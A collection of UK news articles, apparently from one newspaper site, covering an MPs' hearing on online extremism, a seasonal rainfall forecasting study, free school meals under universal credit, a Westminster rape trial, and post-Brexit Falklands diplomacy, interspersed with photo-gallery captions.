He disagreed with allegations that its algorithms were themselves radicalising users but conceded there was a shared problem on how we address a person going down a channel that may lead them to be radicalised.

Twitter has started suspending accounts linked to groups that promote violence but claimed the launch of purges the day before the Home Affairs Committee hearing was coincidental.

Sinead McSweeney, the companys vice president for public policy and communications in Europe, said there had been a sea change in how it takes responsibility for online abuse.

The deputy leader of far-right group Britain First, Jayda Fransen, is among the figures whose Twitter accounts have been suspended (PA)

But Ms Cooper hit out at Twitter for failing to remove anti-Semitic, Islamophobic and racist posts flagged by MPs, including some directed at Theresa May, Diane Abbott and Luciana Berger.

We sat in this committee in a public hearing and raised a clearly vile anti-Semitic tweet with your organisation  But it is still there, she added. I'm kind of wondering what we have to do.

Tim Loughton, a Conservative MP, accused the internet giants of profiting from people who use your platforms to further the ills in society.

Ms McSweeney argued that politicians were not a protected category under Twitters service and that proactively searching for any abuse among 500 million tweets a day from 330 million users would be impossible.

Ms Cooper welcomed the increasing staff dedicated to monitoring and removing content at Google, Facebook and Twitter but said there was immense frustration about the scale of the problem.

She called for companies to search for extremist content proactively stop the use of algorithms to promote it, adding: Youre response to us is effectively were working on it but the reasons were pressing you so hard is because its so important.

In the end this is about the kinds of extremism, whether that be Islamism or the far-right, that can lead to very violent incidents.

It is about the kind of hate crime that can destroy lives, the kind of harassment and abuse that can undermine political debate and democracy.

You are some of the richest companies in the world and that is why we need you to do more.
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Washout summers can be predicted months before the UK and Ireland get drenched thanks to a weather forecasting breakthrough, scientists say.

In a blessing - or a curse - for organisers and attendees of festivals, weddings, barbecues and countless more weather-reliant activities, the likelihood of a soaking by a summer storm can be gauged by the temperature of an area of the Atlantic earlier in the year.

A connection between springtime sea surface temperatures in the North Atlantic and weather patterns over the East Atlantic during summer months was established by researchers at the University of Reading.

The scientists said they have found a "strong link" between the sea temperature in March and April and the position of the jet stream in July and August.

The jet stream, a high-altitude ribbon of high-speed winds, governs the direction of storms as they travel across the Atlantic.

Current seasonal models for weather over Europe struggle to make reliable long-range forecasts, particularly for rainfall.

In a paper published in the Proceedings of the National Academy of Sciences USA, the team said the results have an "immediate application to empirical forecasts of summer rainfall for the United Kingdom, Ireland and northern France".

Science news in pictures Show all 20 1 /20 Science news in pictures Science news in pictures Pluto has 'beating heart' of frozen nitrogen Pluto has a 'beating heart' of frozen nitrogen that is doing strange things to its surface, Nasa has found. The mysterious core seems to be the cause of features on its surface that have fascinated scientists since they were spotted by Nasa's New Horizons mission. "Before New Horizons, everyone thought Pluto was going to be a netball - completely flat, almost no diversity," said Tanguy Bertrand, an astrophysicist and planetary scientist at NASA's Ames Research Center and the lead author on the new study. "But it's completely different. It has a lot of different landscapes and we are trying to understand what's going on there." Getty Science news in pictures Over 400 species discovered this year by Natural History Museum The ancient invertabrate worm-like species rhenopyrgus viviani (pictured) is one of over 400 species previously unknown to science that were discovered by experts at the Natural History Museum this year PA Science news in pictures Jackdaws can identify 'dangerous' humans Jackdaws can identify dangerous humans from listening to each others warning calls, scientists say. The highly social birds will also remember that person if they come near their nests again, according to researchers from the University of Exeter. In the study, a person unknown to the wild jackdaws approached their nest. At the same time scientists played a recording of a warning call (threatening) or contact calls (non-threatening). The next time jackdaws saw this same person, the birds that had previously heard the warning call were defensive and returned to their nests more than twice as quickly on average. Getty Science news in pictures Turtle embryos influence sex by shaking The sex of the turtle is determined by the temperatures at which they are incubated. Warm temperatures favour females. But by wiggling around the egg, embryos can find the Goldilocks Zone which means they are able to shield themselves against extreme thermal conditions and produce a balanced sex ratio, according to the new study published in Current Biology journal Ye et al/Current Biology Science news in pictures Elephant poaching rates drop in Africa African elephant poaching rates have dropped by 60 per cent in six years, an international study has found. It is thought the decline could be associated with the ivory trade ban introduced in China in 2017. Reuters Science news in pictures Ancient four-legged whale discovered in Peru Scientists have identified a four-legged creature with webbed feet to be an ancestor of the whale. Fossils unearthed in Peru have led scientists to conclude that the enormous creatures that traverse the planets oceans today are descended from small hoofed ancestors that lived in south Asia 50 million years ago A. Gennari Science news in pictures Animal with transient anus discovered A scientist has stumbled upon a creature with a transient anus that appears only when it is needed, before vanishing completely. Dr Sidney Tamm of the Marine Biological Laboratory could not initially find any trace of an anus on the species. However, as the animal gets full, a pore opens up to dispose of waste Steven G Johnson Science news in pictures Giant bee spotted Feared extinct, the Wallace's Giant bee has been spotted for the first time in nearly 40 years. An international team of conservationists spotted the bee, that is four times the size of a typical honeybee, on an expedition to a group of Indonesian Islands Clay Bolt Science news in pictures New mammal species found inside crocodile Fossilised bones digested by crocodiles have revealed the existence of three new mammal species that roamed the Cayman Islands 300 years ago. The bones belonged to two large rodent species and a small shrew-like animal New Mexico Museum of Natural History Science news in pictures Fabric that changes according to temperature created Scientists at the University of Maryland have created a fabric that adapts to heat, expanding to allow more heat to escape the body when warm and compacting to retain more heat when cold Faye Levine, University of Maryland Science news in pictures Baby mice tears could be used in pest control A study from the University of Tokyo has found that the tears of baby mice cause female mice to be less interested in the sexual advances of males Getty Science news in pictures Final warning to limit "climate catastrophe" The Intergovernmental Panel on Climate Change has issued a report which projects the impact of a rise in global temperatures of 1.5 degrees Celsius and warns against a higher increase Getty Science news in pictures Nobel prize for evolution chemists The nobel prize for chemistry has been awarded to three chemists working with evolution. Frances Smith is being awarded the prize for her work on directing the evolution of enzymes, while Gregory Winter and George Smith take the prize for their work on phage display of peptides and antibodies Getty/AFP Science news in pictures Nobel prize for laser physicists The nobel prize for physics has been awarded to three physicists working with lasers. Arthur Ashkin (L) was awarded for his "optical tweezers" which use lasers to grab particles, atoms, viruses and other living cells. Donna Strickland and Gerard Mourou were jointly awarded the prize for developing chirped-pulse amplification of lasers Reuters/AP Science news in pictures Discovery of a new species of dinosaur The Ledumahadi Mafube roamed around 200 million years ago in what is now South Africa. Recently discovered by a team of international scientists, it was the largest land animal of its time, weighing 12 tons and standing at 13 feet. In Sesotho, the South African language of the region in which the dinosaur was discovered, its name means "a giant thunderclap at dawn" Viktor Radermacher / SWNS Science news in pictures Birth of a planet Scientists have witnessed the birth of a planet for the first time ever. This spectacular image from the SPHERE instrument on ESO's Very Large Telescope is the first clear image of a planet caught in the very act of formation around the dwarf star PDS 70. The planet stands clearly out, visible as a bright point to the right of the center of the image, which is blacked out by the coronagraph mask used to block the blinding light of the central star. ESO/A. Muller et al Science news in pictures New human organ discovered that was previously missed by scientists Layers long thought to be dense, connective tissue are actually a series of fluid-filled compartments researchers have termed the interstitium. These compartments are found beneath the skin, as well as lining the gut, lungs, blood vessels and muscles, and join together to form a network supported by a mesh of strong, flexible proteins Getty Science news in pictures Previously unknown society lived in Amazon rainforest before Europeans arrived, say archaeologists Working in the Brazilian state of Mato Grosso, a team led by archaeologists at the University of Exeter unearthed hundreds of villages hidden in the depths of the rainforest. These excavations included evidence of fortifications and mysterious earthworks called geoglyphs Jose Iriarte Science news in pictures One in 10 people have traces of cocaine or heroin on fingerprints, study finds More than one in 10 people were found to have traces of class A drugs on their fingers by scientists developing a new fingerprint-based drug test. Using sensitive analysis of the chemical composition of sweat, researchers were able to tell the difference between those who had been directly exposed to heroin and cocaine, and those who had encountered it indirectly. Getty Science news in pictures Nasa releases stunning images of Jupiter's great red spot The storm bigger than the Earth, has been swhirling for 350 years. The image's colours have been enhanced after it was sent back to Earth. Pictures by: Tom Momary

They add that the application of the new approach "could be of very high value for applications ranging from tourism to agriculture, construction, and retail".

Dr Albert Osso, a researcher with the National Centre of Atmospheric Science at Reading University, told the BBC: "We found a strong link between sea surface temperatures east of Newfoundland during the spring and the position of the jet stream and the weather in the UK."

He added: "What we have seen is that when temperatures are warmer than normal in this area of the ocean, the storms basically move far north and they miss the UK, not all of them, but on average most of the storms are going to miss."

PA
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One million children living in poverty in England are set to miss out on free school meals under universal credit proposals, a charity has warned.

The Government has been accused of missing a golden opportunity to ensure no child in poverty goes hungry in school after it emerged just 700,000 of the 1.7 million school children in poverty would receive free school meals under plans to introduce means testing to the system.

While all families in receipt of universal credit have so far been automatically entitled to free school meals, The Childrens Society has warned the plans will create a cliff-edge where many families would be better off taking a pay cut.

Analysis of figures by the charity show that under the plans, once a family with one child passes the 7,400 threshold they would need to earn 1,124 a year more  the equivalent of working 2.4 hours more each week at national living wage  to make up for the loss in free school meals.

The Department for Education has disputed the claims, insisting that more than 50,000 extra children will be entitled to free school meals through its eligibility proposals following the rollout of universal credit.

Announcing the proposals last month, the Government suggested it would introduce a net income threshold of 7,400 a year before benefits are taken into account for families to benefit from free school meals. Minister for Children and Families Robert Goodwill said the measure would ensure the support reaches children from the most disadvantaged families.

But in light of todays figures, campaigners and politicians said the proposals undermine the very principle of universal credit being designed to make work pay, and accused the Government of failing to tackle child poverty.

The analysis from The Childrens Society show that the regions worst affected by child poverty stand to lose the most from the proposed eligibility criteria, with 212,000 children projected to miss out on free school meals in London, and 130,000 set to miss out in the West Midlands.

Matthew Reed, chief executive of The Childrens Society, said: There are significant, proven benefits for childrens health, education and their futures in making sure they have a healthy lunch every day, but at least one million children will miss out if this change is introduced.

Continuing to provide free school meals for all children on universal credit would not only help vulnerable children, it would also prevent low-income parents being left worse off if they take on more hours or get a pay rise.

Universal credit was designed to always make work pay, but these plans will undermine that very principle.

If the Government wants to show it is truly committed to tackling the growing crises of inequality and child poverty, delivering free school meals for children in low-income working families is a crucial step.

UK news in pictures Show all 50 1 /50 UK news in pictures UK news in pictures 17 November 2022 Chancellor of the Exchequer Jeremy Hunt leaves 11 Downing Street, London, for the House of Commons to deliver his autumn statement PA UK news in pictures 16 November 2022 Emma Woolf, great niece of British author Virginia Woolf, and her son Ludovic sit next to a new bronze statue of Woolf, unveiled in Richmond, London Reuters UK news in pictures 15 November 2022 Lesley Sutcliffe shelters from the rain next to a life-sized replica of the innermost coffin of King Tutankhamun by artist Amanda Stoner as it goes on display inside a traditional red telephone box which has been converted into a museum, in Barnsley, South Yorkshire PA UK news in pictures 14 November 2022 Members of the hospitality sector demonstrate outside parliament in London. The head of the Confederation of British Industry is urging the UK government to relax immigration rules to help British companies with severe staff shortages, ahead of the chancellors autumn statement EPA UK news in pictures 13 November 2022 England celebrate winning the mens T20 World Cup in Melbourne Cricket Ground, Australia AAP Image/Reuters UK news in pictures 12 November 2022 The City of London Pride Group take part in the parade during the Lord Mayor's Show PA UK news in pictures 11 November 2022 City workers attend a Remembrance Day ceremony at Lloyd's of London, in the City of London, to mark Armistice Day, the anniversary of the end of the First World War PA UK news in pictures 10 November 2022 A grey heron lands on the river Dodder in Dublin on a sunny autumn morning PA UK news in pictures 9 November 2022 Australia and Spain play during the Wheelchair Rugby League World Cup group A match at the Copper Box Arena, London PA UK news in pictures 8 November 2022 A migrant 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winter sunshine in the Dutch Gardens in Holland Park AFP via Getty Images UK news in pictures 3 November 2022 Florence Kasumba, Letitia Wright, Tenoch Huerta and Lupita Nyongo attend the European Premiere of Black Panther: Wakanda Forever in London Getty UK news in pictures 2 November 2022 A red squirrel gathers nuts in Pitlochry, Scotland Reuters UK news in pictures 1 November 2022 Englands Tara-Jane Stanley scores their sides seventh try against Brazil during the Womens Rugby League World Cup group A match at Headingley Stadium, Leeds PA UK news in pictures 31 October 2022 GBs James Hall competes during the mens parallel bars qualification at the World Gymnastics Championships in Liverpool AFP/Getty UK news in pictures 30 October 2022 People dressed in Halloween costumes paddle board along the river Avon in Christchurch, Dorset PA UK news in pictures 29 October 2022 Members of the public take pictures as police officers remove activists from a road during a Just Stop Oil protest, in London Reuters UK news in pictures 28 October 2022 A cosplayer attends the MCM Comic Con London 2022 at the ExCel Centre in London Reuters UK news in pictures 27 October 2022 98-year-old D-Day Veteran Bernard Morgan, whose story is among those featured on the giant poppy wall, during the launch of The Royal British Legion 2022 Poppy Appeal, at Hay's Galleria in central London PA UK news in pictures 26 October 2022 A meerkat explores a pumpkin in the enclosure at Wild Place, Bristol, where some of the animals are having pumpkin treats as part of their environmental enrichment PA UK news in pictures 25 October 2022 King Charles III welcomes Rishi Sunak during an audience at Buckingham Palace, where he invited the newly elected leader of the Conservative Party to become Prime Minister and form a new government PA UK news in pictures 24 October 2022 Rishi Sunak celebrates with Tory MPs outside the Conservative Campaign Headquarters after becoming the new leader of the Conservative Party Reuters UK news in pictures 23 October 2022 The Green Man at October Plenty, Borough Market's annual Autumn Harvest festival, in London, which returns for the first time post pandemic PA UK news in pictures 21 October 2022 Sculptor Peter McKenna puts the finishing touches to a pumpkin that will form part of the Planet A Hebden Bridge Pumpkin Trail in the West Yorkshire town PA UK news in pictures 20 October 2022 Britains Prime Minister Liz Truss delivers a speech outside of 10 Downing Street in central London to announce her resignation AFP/Getty UK news in pictures 19 October 2022 Salmon leap up Stainforth Force on the River Ribble in the Yorkshire Dales as they swim upriver to their spawning grounds during the annual Salmon migration PA UK news in pictures 18 October 2022 Just Stop Oil protesters continue their protest for a second day on the Queen Elizabeth II Bridge, which links Kent and Essex and which remains closed for traffic, after it was scaled by two climbers from the group PA UK news in pictures 17 October 2022 Hundreds of students take part in the traditional Raisin Monday foam fight on St Salvator's Lower College Lawn at the University of St Andrews in Fife PA UK news in pictures 16 October 2022 A protester holds a placard during a march into central London at a demonstration by the climate change protest group Extinction Rebellion AFP/Getty UK news in pictures 15 October 2022 A member of the public drags an activist who is blocking the road during a "Just Stop Oil" protest, in London, Britain REUTERS UK news in pictures 14 October 2022 Germanys Womens double skulls during day one of the World Rowing Beach Sprint Finals at Saundersfoot beach, Pembrokeshire PA UK news in pictures 13 October 2022 Family and mourners arrive at St Michael's Church, in Creeslough, for the funeral mass of 49-year-old mother of four Martina Martin, who died following an explosion at the Applegreen service station in the village of Creeslough in Co Donegal on Friday PA UK news in pictures 12 October 2022 Motorists in Coventry pass trees showing autumnal colour PA UK news in pictures 11 October 2022 A woman and her dog in the the North Sea at Tynemouth Longsands beach before sunrise PA UK news in pictures 10 October 2022 Police officers remove a campaigner from a Just Stop Oil protest on The Mall, near Buckingham Palace, London PA UK news in pictures 9 October 2022 A drummer plays during the Diwali on the Square celebration, in Trafalgar Square, London PA UK news in pictures 8 October 2022 Timothee Chalamet attending the UK premiere of Bones and All during the BFI London Film Festival 2022 at the Royal Festival Hall, Southbank Centre, London PA UK news in pictures 7 October 2022 Two young male fallow deer lock antlers in Dublins Phoenix park as rutting season begins PA UK news in pictures 6 October 2022 The Princess of Wales during a cocktail making competition during a visit to Trademarket, a new outdoor street-food and retail market situated in Belfast city centre, as part of the royal visit to Northern Ireland PA UK news in pictures 5 October 2022 Greenpeace protesters interrupt Prime Minister Liz Truss as she delivers her keynote speech to the Conservative Party annual conference PA UK news in pictures 4 October 2022 Prime Minister Liz Truss and Britains Chancellor of the Exchequer Kwasi Kwarteng wearing hard hats and hi-vis jackets, visit a construction site for a medical innovation campus in Birmingham AFP/Getty UK news in pictures 3 October 2022 British artist Sam Cox, aka Mr Doodle, reveals the Doodle House, a twelve-room mansion at Tenterden, in Kent, which has been covered, inside and out in the artist's trademark monochrome, cartoonish hand-drawn doodles PA UK news in pictures 2 October 2022 Erling Haaland celebrates after scoring Manchester City's second goal against Manchester United at Etihad Stadium. Haaland went on to score a hattrick, his third of the season in the Premier League. City beat United 6-3. Manchester City FC/Getty UK news in pictures 1 October 2022 Protesters hold up flags and placards at a protest in London. A variety of protest groups including Enough is Enough, Don't Pay and Just Stop Oil all demonstrated on the day AFP/Getty UK news in pictures 30 September 2022 British Prime Minister Liz Truss, who has not been seen in days, leaves the back of Downing Street after a meeting with Office For Budget Responsibility following the release of her governments mini-budget Getty UK news in pictures 29 September 2022 The Virginia creeper foliage on the Tu Hwnt i'r Bont (Beyond the Bridge) Llanwrst, Conwy North Wales, has changed colour from green to red in at the start of Autumn. The building was built in 1480 as a residential dwelling but has been a tearoom for over 50 years PA UK news in pictures 28 September 2022 Criminal barristers from the Criminal Bar Association (CBA), demonstrates outside the Royal Courts of Justice in London, as part of their ongoing pay row with the Government PA

Debbie Abrahams, the Shadow Work and Pensions Secretary, said: The Conservatives are failing to tackle child poverty, refusing to even commit to a reduction target, and holding our children back.

We need to make sure that work always pays and this proposal does nothing of the sort, instead it creates a serious cliff edge for families on the lowest incomes. Labour will introduce universal free school meals to end the scandal of children going hungry at school.

A Department for Education spokesperson said: The fact is over 50,000 more children will be entitled to free school meals through our eligibility proposals following the rollout of universal credit.

Its right that we make sure this support reaches children from the most disadvantaged families and were consulting on this issue to make sure thats the case.
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A Conservative MP's chief of staff accused of raping a woman has told a court the pair joked around as they had sex in his boss's Westminster office.

Samuel Armstrong, 24, said he felt like he had been punched in the stomach after he was arrested on 14 October and thought police had got the wrong man.

He is accused of abusing his position to attack a young parliamentary worker when she fell asleep after a night drinking in the Houses of Parliament.

Recommended Conservative aide arrested on suspicion of Houses of Parliament rape

Armstrong, an aide for South Thanet MP Craig Mackinlay, denies two counts of rape, one of sexual assault and one of assault by penetration, claiming they had consensual sex.

Giving evidence at Southwark Crown Court, Armstrong told how the pair ended up alone in Mr Mackinlay's office in the early hours of the morning.

He said the complainant asked him to play jazz music and sat with him on a sofa, before jumping up and demanding: "Dance with me."

He said that they danced in the office and began kissing, before he performed oral sex on her as she sat on the sofa.

"She made all the appropriate noises," he told the court.

Armstrong said the couple then had sex in the missionary position for several minutes, but the complainant got up to change the music when a "mood-killer" song came on.

He said: "After a little while she said, 'some people are going to think that you have taken advantage of me', but it was in a sort of teasing voice.

"I responded, 'I'm not sure anyone could come to that conclusion'."

Armstrong said the woman then sat on top of him and they began to have sex.

He told the court: "I said to her, 'how does the size suit the lady?', which is something I have heard tailors say.

"And she says the size suits very, very well."

Defence barrister Sarah Forshaw QC said: "Were you being serious both of you during the course of this conversation?"

He replied: "We were joshing around and being funny.

"I was being a bit of a prat."

Armstrong, from Danbury in Essex, was arrested after the woman was captured on CCTV running through the corridors of Westminster in tears.

Describing how he felt when he was arrested, he said: "I didn't really know what to think. I thought there must have been some sort of mistake.

"It must have been that they had got the wrong name."

He added: "It was just like somebody had punched me in the stomach. I was winded."

UK news in pictures Show all 50 1 /50 UK news in pictures UK news in pictures 17 November 2022 Chancellor of the Exchequer Jeremy Hunt leaves 11 Downing Street, London, for the House of Commons to deliver his autumn statement PA UK news in pictures 16 November 2022 Emma Woolf, great niece of British author Virginia Woolf, and her son Ludovic sit next to a new bronze statue of Woolf, unveiled in Richmond, London Reuters UK news in pictures 15 November 2022 Lesley Sutcliffe shelters from the rain next to a life-sized replica of the innermost coffin of King Tutankhamun by artist Amanda Stoner as it goes on display inside a traditional red telephone box which has been converted into a museum, in Barnsley, South Yorkshire PA UK news in pictures 14 November 2022 Members of the hospitality sector demonstrate outside parliament in London. The head of the Confederation of British Industry is urging the UK government to relax immigration rules to help British companies with severe staff shortages, ahead of the chancellors autumn statement EPA UK news in pictures 13 November 2022 England celebrate winning the mens T20 World Cup in Melbourne Cricket Ground, Australia AAP Image/Reuters UK news in pictures 12 November 2022 The City of London Pride Group take part in the parade during the Lord Mayor's Show PA UK news in pictures 11 November 2022 City workers attend a Remembrance Day ceremony at Lloyd's of London, in the City of London, to mark Armistice Day, the anniversary of the end of the First World War PA UK news in pictures 10 November 2022 A grey heron lands on the river Dodder in Dublin on a sunny autumn morning PA UK news in pictures 9 November 2022 Australia and Spain play during the Wheelchair Rugby League World Cup group A match at the Copper Box Arena, London PA UK news in pictures 8 November 2022 A migrant attempting to communicate with journalists is pinned against a fence by members of staff, before being taken out of view, at the Manston immigration short-term holding facility, located at the former Defence Fire Training and Development Centre in Thanet, Kent PA UK news in pictures 7 November 2022 Handout photo issued by Just Stop Oil of a protester who has climbed a gantry on the M25 between junctions six and seven in Surrey, leading to the closure of the motorway PA UK news in pictures 6 November 2022 A grey seal with its pup, at the Donna Nook National Nature Reserve in north Lincolnshire, where they come every year in late October, November and December to give birth to their pups near the sand dunes, the wildlife spectacle attracts visitors from across the UK PA UK news in pictures 5 November 2022 Demonstrators with placards calling for a General Election march near the Houses of Parliament AFP via Getty Images UK news in pictures 4 November 2022 A peacock is seen in the early winter sunshine in the Dutch Gardens in Holland Park AFP via Getty Images UK news in pictures 3 November 2022 Florence Kasumba, Letitia Wright, Tenoch Huerta and Lupita Nyongo attend the European Premiere of Black Panther: Wakanda Forever in London Getty UK news in pictures 2 November 2022 A red squirrel gathers nuts in Pitlochry, Scotland Reuters UK news in pictures 1 November 2022 Englands Tara-Jane Stanley scores their sides seventh try against Brazil during the Womens Rugby League World Cup group A match at Headingley Stadium, Leeds PA UK news in pictures 31 October 2022 GBs James Hall competes during the mens parallel bars qualification at the World Gymnastics Championships in Liverpool AFP/Getty UK news in pictures 30 October 2022 People dressed in Halloween costumes paddle board along the river Avon in Christchurch, Dorset PA UK news in pictures 29 October 2022 Members of the public take pictures as police officers remove activists from a road during a Just Stop Oil protest, in London Reuters UK news in pictures 28 October 2022 A cosplayer attends the MCM Comic Con London 2022 at the ExCel Centre in London Reuters UK news in pictures 27 October 2022 98-year-old D-Day Veteran Bernard Morgan, whose story is among those featured on the giant poppy wall, during the launch of The Royal British Legion 2022 Poppy Appeal, at Hay's Galleria in central London PA UK news in pictures 26 October 2022 A meerkat explores a pumpkin in the enclosure at Wild Place, Bristol, where some of the animals are having pumpkin treats as part of their environmental enrichment PA UK news in pictures 25 October 2022 King Charles III welcomes Rishi Sunak during an audience at Buckingham Palace, where he invited the newly elected leader of the Conservative Party to become Prime Minister and form a new government PA UK news in pictures 24 October 2022 Rishi Sunak celebrates with Tory MPs outside the Conservative Campaign Headquarters after becoming the new leader of the Conservative Party Reuters UK news in pictures 23 October 2022 The Green Man at October Plenty, Borough Market's annual Autumn Harvest festival, in London, which returns for the first time post pandemic PA UK news in pictures 21 October 2022 Sculptor Peter McKenna puts the finishing touches to a pumpkin that will form part of the Planet A Hebden Bridge Pumpkin Trail in the West Yorkshire town PA UK news in pictures 20 October 2022 Britains Prime Minister Liz Truss delivers a speech outside of 10 Downing Street in central London to announce her resignation AFP/Getty UK news in pictures 19 October 2022 Salmon leap up Stainforth Force on the River Ribble in the Yorkshire Dales as they swim upriver to their spawning grounds during the annual Salmon migration PA UK news in pictures 18 October 2022 Just Stop Oil protesters continue their protest for a second day on the Queen Elizabeth II Bridge, which links Kent and Essex and which remains closed for traffic, after it was scaled by two climbers from the group PA UK news in pictures 17 October 2022 Hundreds of students take part in the traditional Raisin Monday foam fight on St Salvator's Lower College Lawn at the University of St Andrews in Fife PA UK news in pictures 16 October 2022 A protester holds a placard during a march into central London at a demonstration by the climate change protest group Extinction Rebellion AFP/Getty UK news in pictures 15 October 2022 A member of the public drags an activist who is blocking the road during a "Just Stop Oil" protest, in London, Britain REUTERS UK news in pictures 14 October 2022 Germanys Womens double skulls during day one of the World Rowing Beach Sprint Finals at Saundersfoot beach, Pembrokeshire PA UK news in pictures 13 October 2022 Family and mourners arrive at St Michael's Church, in Creeslough, for the funeral mass of 49-year-old mother of four Martina Martin, who died following an explosion at the Applegreen service station in the village of Creeslough in Co Donegal on Friday PA UK news in pictures 12 October 2022 Motorists in Coventry pass trees showing autumnal colour PA UK news in pictures 11 October 2022 A woman and her dog in the the North Sea at Tynemouth Longsands beach before sunrise PA UK news in pictures 10 October 2022 Police officers remove a campaigner from a Just Stop Oil protest on The Mall, near Buckingham Palace, London PA UK news in pictures 9 October 2022 A drummer plays during the Diwali on the Square celebration, in Trafalgar Square, London PA UK news in pictures 8 October 2022 Timothee Chalamet attending the UK premiere of Bones and All during the BFI London Film Festival 2022 at the Royal Festival Hall, Southbank Centre, London PA UK news in pictures 7 October 2022 Two young male fallow deer lock antlers in Dublins Phoenix park as rutting season begins PA UK news in pictures 6 October 2022 The Princess of Wales during a cocktail making competition during a visit to Trademarket, a new outdoor street-food and retail market situated in Belfast city centre, as part of the royal visit to Northern Ireland PA UK news in pictures 5 October 2022 Greenpeace protesters interrupt Prime Minister Liz Truss as she delivers her keynote speech to the Conservative Party annual conference PA UK news in pictures 4 October 2022 Prime Minister Liz Truss and Britains Chancellor of the Exchequer Kwasi Kwarteng wearing hard hats and hi-vis jackets, visit a construction site for a medical innovation campus in Birmingham AFP/Getty UK news in pictures 3 October 2022 British artist Sam Cox, aka Mr Doodle, reveals the Doodle House, a twelve-room mansion at Tenterden, in Kent, which has been covered, inside and out in the artist's trademark monochrome, cartoonish hand-drawn doodles PA UK news in pictures 2 October 2022 Erling Haaland celebrates after scoring Manchester City's second goal against Manchester United at Etihad Stadium. Haaland went on to score a hattrick, his third of the season in the Premier League. City beat United 6-3. Manchester City FC/Getty UK news in pictures 1 October 2022 Protesters hold up flags and placards at a protest in London. A variety of protest groups including Enough is Enough, Don't Pay and Just Stop Oil all demonstrated on the day AFP/Getty UK news in pictures 30 September 2022 British Prime Minister Liz Truss, who has not been seen in days, leaves the back of Downing Street after a meeting with Office For Budget Responsibility following the release of her governments mini-budget Getty UK news in pictures 29 September 2022 The Virginia creeper foliage on the Tu Hwnt i'r Bont (Beyond the Bridge) Llanwrst, Conwy North Wales, has changed colour from green to red in at the start of Autumn. The building was built in 1480 as a residential dwelling but has been a tearoom for over 50 years PA UK news in pictures 28 September 2022 Criminal barristers from the Criminal Bar Association (CBA), demonstrates outside the Royal Courts of Justice in London, as part of their ongoing pay row with the Government PA

Armstrong said he regretted having sex in his boss's office and added that his life had been turned upside down since the allegation was made last year.

He said: "It was foolish. It was an act of enormous foolishness and as a consequence I have had the worst year of my life."

He added that he had been unable to work or sleep and would "never, ever, ever" get his career back.

He said: "While what I did is foolish, the point is I'm innocent of this and for whatever reason somebody is trying to make a horrible, horrible, horrible allegation.

"The point is on this allegation, somebody is trying to send me to prison for a very long time for something I didn't do."

The trial continues.

PA
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The EU will refuse to back Britain in United Nations votes over the Falkland Islands after Brexit, a former ambassador has suggested.

Other countries regarded the UKs loss of influence since the Leave vote as a shark would regard blood in the water, Lord Hannay told a parliamentary inquiry.

It was laid bare when EU countries helped inflict a humiliating defeat on Britain over the legal status of the Chagos Islands, in a UN vote in June, he told MPs.

Recommended EU partners turn backs on Brexit Britain during telling UN vote

We could have the same phenomenon if and when the Falklands comes before the United Nations at some stage or other in the future, Lord Hannay warned.

The former UK ambassador at the UN and in Brussels said it had come as a huge surprise to Argentina when the EU imposed sanctions after its 1982 invasion of the Falklands Islands.

They would never have done that if we had not been a member. I dont believe for one minute they would have done, Lord Hannay told the Commons Foreign Affairs Committee. The EU solidarity issue is now, Im afraid, in play  and I think we will lose it.

The Chagos Islands vote  sending the long-running dispute to the International Court of Justice (ICJ) in The Hague  showed the way the wind is blowing, the diplomat added.

UK news in pictures Show all 50 1 /50 UK news in pictures UK news in pictures 17 November 2022 Chancellor of the Exchequer Jeremy Hunt leaves 11 Downing Street, London, for the House of Commons to deliver his autumn statement PA UK news in pictures 16 November 2022 Emma Woolf, great niece of British author Virginia Woolf, and her son Ludovic sit next to a new bronze statue of Woolf, unveiled in Richmond, London Reuters UK news in pictures 15 November 2022 Lesley Sutcliffe shelters from the rain next to a life-sized replica of the innermost coffin of King Tutankhamun by artist Amanda Stoner as it goes on display inside a traditional red telephone box which has been converted into a museum, in Barnsley, South Yorkshire PA UK news in pictures 14 November 2022 Members of the hospitality sector demonstrate outside parliament in London. The head of the Confederation of British Industry is urging the UK government to relax immigration rules to help British companies with severe staff shortages, ahead of the chancellors autumn statement EPA UK news in pictures 13 November 2022 England celebrate winning the mens T20 World Cup in Melbourne Cricket Ground, Australia AAP Image/Reuters UK news in pictures 12 November 2022 The City of London Pride Group take part in the parade during the Lord Mayor's Show PA UK news in pictures 11 November 2022 City workers attend a Remembrance Day ceremony at Lloyd's of London, in the City of London, to mark Armistice Day, the anniversary of the end of the First World War PA UK news in pictures 10 November 2022 A grey heron lands on the river Dodder in Dublin on a sunny autumn morning PA UK news in pictures 9 November 2022 Australia and Spain play during the Wheelchair Rugby League World Cup group A match at the Copper Box Arena, London PA UK news in pictures 8 November 2022 A migrant attempting to communicate with journalists is pinned against a fence by members of staff, before being taken out of view, at the Manston immigration short-term holding facility, located at the former Defence Fire Training and Development Centre in Thanet, Kent PA UK news in pictures 7 November 2022 Handout photo issued by Just Stop Oil of a protester who has climbed a gantry on the M25 between junctions six and seven in Surrey, leading to the closure of the motorway PA UK news in pictures 6 November 2022 A grey seal with its pup, at the Donna Nook National Nature Reserve in north Lincolnshire, where they come every year in late October, November and December to give birth to their pups near the sand dunes, the wildlife spectacle attracts visitors from across the UK PA UK news in pictures 5 November 2022 Demonstrators with placards calling for a General Election march near the Houses of Parliament AFP via Getty Images UK news in pictures 4 November 2022 A peacock is seen in the early winter sunshine in the Dutch Gardens in Holland Park AFP via Getty Images UK news in pictures 3 November 2022 Florence Kasumba, Letitia Wright, Tenoch Huerta and Lupita Nyongo attend the European Premiere of Black Panther: Wakanda Forever in London Getty UK news in pictures 2 November 2022 A red squirrel gathers nuts in Pitlochry, Scotland Reuters UK news in pictures 1 November 2022 Englands Tara-Jane Stanley scores their sides seventh try against Brazil during the Womens Rugby League World Cup group A match at Headingley Stadium, Leeds PA UK news in pictures 31 October 2022 GBs James Hall competes during the mens parallel bars qualification at the World Gymnastics Championships in Liverpool AFP/Getty UK news in pictures 30 October 2022 People dressed in Halloween costumes paddle board along the river Avon in Christchurch, Dorset PA UK news in pictures 29 October 2022 Members of the public take pictures as police officers remove activists from a road during a Just Stop Oil protest, in London Reuters UK news in pictures 28 October 2022 A cosplayer attends the MCM Comic Con London 2022 at the ExCel Centre in London Reuters UK news in pictures 27 October 2022 98-year-old D-Day Veteran Bernard Morgan, whose story is among those featured on the giant poppy wall, during the launch of The Royal British Legion 2022 Poppy Appeal, at Hay's Galleria in central London PA UK news in pictures 26 October 2022 A meerkat explores a pumpkin in the enclosure at Wild Place, Bristol, where some of the animals are having pumpkin treats as part of their environmental enrichment PA UK news in pictures 25 October 2022 King Charles III welcomes Rishi Sunak during an audience at Buckingham Palace, where he invited the newly elected 